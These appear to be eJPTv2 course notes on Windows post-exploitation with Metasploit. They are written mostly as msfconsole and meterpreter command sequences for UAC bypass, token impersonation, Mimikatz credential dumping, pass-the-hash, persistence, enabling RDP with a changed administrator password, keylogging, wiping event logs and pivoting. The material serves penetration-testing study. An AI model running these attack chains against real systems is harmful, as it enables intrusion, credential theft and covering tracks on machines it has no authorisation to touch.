> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/the-metasploit-framework-msf/exploitation/windows-post-exploitation.md). # Windows Post Exploitation ### Windows Post Exploitation Modules * The MSF provides us with various post exploitation modules for both WIndows and Linux. * We can utilize these post exploitation modules to enumerate information about the Windows system we currently have access to: * Enumerate user privileges * Enumerate logged on users * VM check * Enumerate installed programs * Enumerate AVs * Enumerate computers connected to domain * Enumerate installed patches * Enumerate shares DEMO ``` msfconsole -q > workspace -a windows_post > setg RHOSTS > db_nmap -sV > search rejetto > use exploit/windows/http/rejetto_hfs_exec > run >>>> sysinfo >>>> getuid >>>> help >>>> screenshot >>>> getsystem >>>> getuid >>>> hashdump >>>> show_mount [drive attached to the PC] >>>> ps >>>> migrate >>>> download >>>> background > Sessions > search upgrade platform: windows > search migrate platform: windows > use post/windows/manage/migrate > set Sessions 1 > run > search win_prvs > use post/windows/gather/win_privs > set SESSION 1 > run > search enum_logged_on > use post/windows/gather/enum_logged_on_users > set SESSION 1 > run > search checkvm > use post/windows/gather/checkvm > set SESSION 1 > run > search enum_applicatons > use post/windows/gather/enum_applications > set SESSION 1 > run > loot [the info we gathered till now] > search type: post platform: windows enum_av > use post/windows/gather/enum_av_excluded > set session 1 > run > use post/windows/gather/enum_computers > set SESSION 1 > run > search enum_patches > use post/windows/gather/enum_patches > show options > set SESSION 1 > run > migrate 896 > run > session 1 cmd> systeminfo [check hotfixes] > search enum_shares > use post/windows/gather/enum_shares > set SESSION 1 > run > search rdp platform: windows > use post/windows/manage/enable_rdp > run ``` *NOTE*: 1. post/windows/manage/migrate 2. post/windows/gather/win\_privs \[gatherinfo about privileges] 3. post/windows/gather/enum\_logged\_on\_users \[provides currently logged on user and thier SID] 4. post/windows/gather/checkvm \[Checks if the machine is VM or not] 5. post/windows/gather/enum\_applications 6. post/windows/gather/enum\_av\_excluded 7. post/windows/gather/enum\_computers 8. post/windows/gather/enum\_patches 9. post/windows/gather/enum\_shares 10. post/windows/manage/enable\_rdp *** ### Windows Privilege Escalation: Bypassing UAC * User Account Control (UAC) is a Windows security feature introduced in Windows Vista that is used to prevent unauthorized changes from being made to the operating system. * UAC is used to ensure that changes to the operating sytem required approval from the administrator. * We can utilize the "Windows Escalate UAC Protection Bypass (In Memory Injection)" module to bypass UAC by utlizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off. DEMO ``` msfconsole -q > setg RHOST > db_nmap -sV -O > search rejetto > use exploit/windows/http/rejetto_hfs_exec > set payload windows/x64/meterpreter/reverse_tcp > set LPORT > run >>>> sysinfo >>>> getuid >>>> getsystem >>>> getprivs >>>> shell cmd > net users >>>> background > search bypassuac > use exploit/windows/local/bypassuac_injection > set payload windows/x64/meterpreter/reverse_tcp > set LPORT > run > set TARGET windows\ x64 > run >>>> sysinfo >>>> getuid >>>> getsystem >>>> hashdump ``` *NOTE:* * Current Privileges using \`getprivs\` * to enumerate members of the Administrator group "net localgroup administrators" {% embed url="" %} *** ### Windows Privilege Escalation: Token Impersonation With Incognito * Windows access tokens are a core element of the authentication process on Windows and are created and managed by the Local Security Authority Subsystem Service (LSASS). * A Windows access token is responsible for identifying and describing the security context of a process or thread running on a system Simply put, an access token can be thought of a temporary key akin to a web cookie that provides users with access to a system or network resource without to provide credentials each time a process is started or a system resource is accessed. * Access tokens are generated by the winlogin.exe process every time a user authenticates successfully and includes the identity and privileges of the user account associated with thread or process. This token is then attacked to the userinit.exe process, after which all child processes started by a user will inherit a copy of the access token from their creator and will run under the privileges of the same access token. WIndows Access Tokens * WIndows access tokens are categorized based on the varying security levels assigned to them. These security levels are used to determine the privileges that are assigned to a specific token. * An access token will typically be assigned one of the following security levels" * Impersonate-level tokens are created as a direct result of a non-interactive login on WIndows, typically through specific system services or domain logons. * Delegate-level tokens are typically created through an interactive login on windows primarily through a traditional logon or through remote access protocols such as RDP. * Impersonate level tokens can be used to impersonate a token on the local system and not on any external systems that utilize the token * Delegate level tokens pose the largest threat as they can be used to impersonate tokens on any system. Windows Privileges * The process of impersonating access tokens to elevate privileges on a system will primarily depend on the privileges assigned to the account that has been exploited to gain initial access as well as impersonation or delegation token available * The following are the privileges that are required for a successful impersonation attack: * SeAssignPrimaryToken: This allows a user to impersonate tokens. * SeCreateToken: This allows a user to create an arbitrary token with administrative privileges. * SeImperonatePrivilege: This allows a user to create a process under the security context of another user typically with administrative privileges. DEMO ``` msfconsole -q > setg RHOSTS > dn_nmap -sV > search rejeto > use exploit/windows/http/rejetto_hfs_exec > set payload windows/x64/meterpreter/reverse_tcp > exploit >>>> sysinfo >>>> getuid >>>> gerprivs >>>> load incognito >>>> list tokens -u >>>> impersonate_token "ATTACKDEFENSE\Administrator" >>>> getuid >>>> hashdump >>>> ps >>>> migrate 3544 [MS explorer] >>>> hashdump >>>> getprivs ``` *** ### Dumping Hashes with Mimikatz * Mimikatz is a Windows post-exploitation tool written by Benjamin Delpy (@gentikiwi). It allows for the extraction of plaintext credentials from memory, password hashes from local SAM databases, and more. * The SAM (Security Account Manager) database, is a database file on Windows systems that stores users passwords and can be used to authenticate users both locally and remotely. * We can utilize the pre-built mimikatz executable alternatively, if we have access to a meterpreter session on a WIndows target, we can utilize the inbuilt meterpreter extension Kiwi. * Kiwi allows us to dynamically execute Mimikatz on the target system without touching the disk. DEMO ``` msfconsole -q > setg RHOST > db_nmap -sV > search badblue > use exp;oit/windows/http/badblue_passthru > set LHOST > set target BadBlue EE 2.7 Universal > exploit >>>> sysinfo >>>> getuid >>>> ps >>>> pgrep lsass >>>> migrate 792 >>>> sysinfo >>>> load kiwi >>>> help >>>> creds_all >>>> lsa_dump_sam >>>> lsa_dump_secret >>>> upload /usr/share/windows-resource/binaries/mimikatz/x64/mimikatz.exe >>>> shell cmd> .\mimikatz.exe # sekurlsa::logonpasswords # lsadump::sam ``` *** ### Pass-the-Hash with PSExec * Pass the hash is an exploitation technique that involves capturing or harvesting NTLM hashes or clear-text passwords and utilizing them to authenticate with the target legitimately. * We can use the PsExec module to legitimately authenticate with the target system via SMB. * This technique will allow us to obtain access to the target system via legitimate credentials as opposed to obtaining access via service exploitation. DEMO ``` msfconsole -q > setg RHOSTS > use exploit/windows/http/badblue_passthru > set target Badblue 2.7 Universal > run >>>> getuid >>>> sysinfo >>>> pgrep lsass >>>> migrate 788 >>>> getuid >>>> hashdump (copy hashes) >>>> exit > search psexec > use exploit/windows/smb/psexec > set payload windows/x64/meterpreter/reverse_tcp > set SMBUser Administrator > set SMBPass >>>> sysinfo >>>> getuid >>>> sessions > set SMBUser student > set SMBPass > set lport > run ``` *** ### Establishing Persistence on WIndows * Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. * Gaining an initial foothold is not enough, you need to setup and maintain persistent access to your targets. * We can utilize various post exploitation persistence modules to ensure that we always have access to the target system. DEMO ``` msfconsole -q > setg RHOSTS > db_nmap -sV > use exploit/windows/http/rejetto > run >>>> sysinfo >>>> getuid > search platform:windows persistence > use exploit/windows/local/persistence_service > set payload windows/meterpreter/reverse_tcp > show options > set SESSION 1 > exploit >>>> getuid > sessions -K > use exploit/multi/handler > set payload windows/meterpreter/reverse_tcp > set LHOST eth1 > run > exit It becomes persistence ``` *** ### Enabling RDP * The Remote Desktop Protocol (RDP) is proprietary GUI remote access protocol developed by Microsoft and is used to remotely connect and interact with a WIndows System * RDP uses TCP port 3389 by default * RDP is disabled by default, however, we can utilize an MSF exploit module to enable RDP on the Windows target and consequently utilize RDP to remotely access to the target system. * RDP authentication requires a legitimate user account on the target system as well as the user's password in clear-text. DEMO ``` msfconsole -q > setg RHOST > db_nmap -sV > use exploit/windows/http/badblue_passthru > set target Badblue universal > exploit >>>> getuid >>>> sysinfo > search enable_rdp > use post/windows/manage/enable_rdp > show options > set SESSION 1 > exploit > db_nmap -sV -p 3389 > sessions 1 >>>> shell cmd> net users cmd> net user administrator hacker_123321 net user ``` ``` xfreerdp /u: /p: /v: ``` *** ### Windows Keylogging * Keylogging is the process of recording or capturing the keystrokes entered on a target system. * This technique is not limited to post exploitation, there are plenty of programs and USB devices that can be used to capture and transmit the keystrokes entered on a system. * Meterpreter on a Windows system provides us with the ability to capture the keystrokes entered on a target system and download them back to our local system. DEMO ``` msfconsole -q > setg RHOSTS > search badblue > use exploit/windows/http/badblue_passthru > set target Badblue universion > run >>>> sysinfo >>>> getuid >>>> pgrep explorer >>>> migrate 2312 >>>> help >>>> keyscan_start >>>> keyscan_dump >>>> keyscan_stop ``` *** ### Clearing Windows Event Logs * The WIndows OS stores and catalogs all actions/events performed on the system and stores them in the Windows Event log. * Event logs are categorized based on the type of events they store: * Application logs: Stores applications/program events like startups, crashes, etc * System logs: Stores system events like startups, reboots etc. * Security logs: Stores security events like password changes, authentication failures etc. * Event logs can be accessed via the Event Viewer on Windows. * The event logs are the first stop for any forensic investigator after a compromise has been detected. It is therefore very important to clear your tracks after you are done with your assessment. DEMO ``` msfconsole -q > setg RHOSTS > use exploit/windows/http/badblue_passthru > show options > set Target BadBlue univeral >>>> sysinfo >>>> getuid >>>> shell cmd> net user administrator Password_123321 >>>> clearev ``` * open event viewer on Windows *** ### Pivoting * Pivoting is a post exploitation technique that involves utilizing a compromised host to attack other systems on the compromised host's private internal network * After gaining access to one host, we can use the compromised host to exploit other hosts on the same internal network to which we could not access previously. * Meterpreter provides us with the ability to add a network route to the internal network's subnet and consequently scan and exploit other systems on the network.
DEMO ``` ping ping ``` * we need to access victim 1 to access victim 2 ``` msfconsole -q > workspace -a pivoting > db_nmap -sV > use exploti/windows/http/rejetto > set RHOSTs > exploit >>>> sysinfo >>>> ipconfig >>>> run autoroute -s /20 > sessions -n victim-1 -i 1 > search portscan > use auxiliary/scanner/portscan/tcp > set RHOSTS > set PORTs <1-100> > exploit > sessions 1 >>>> portfwd add -l 1234 -p 80 -r > db_nmap -sS -sV -p 1234 localhost > use exploit/windows/http/badblue_passthru > set payload windows/meterpreter/meterpreter/bind_tcp > show options > set RHOSTs > set LPORT 4443 > exploit >>>> sysinfo ``` ***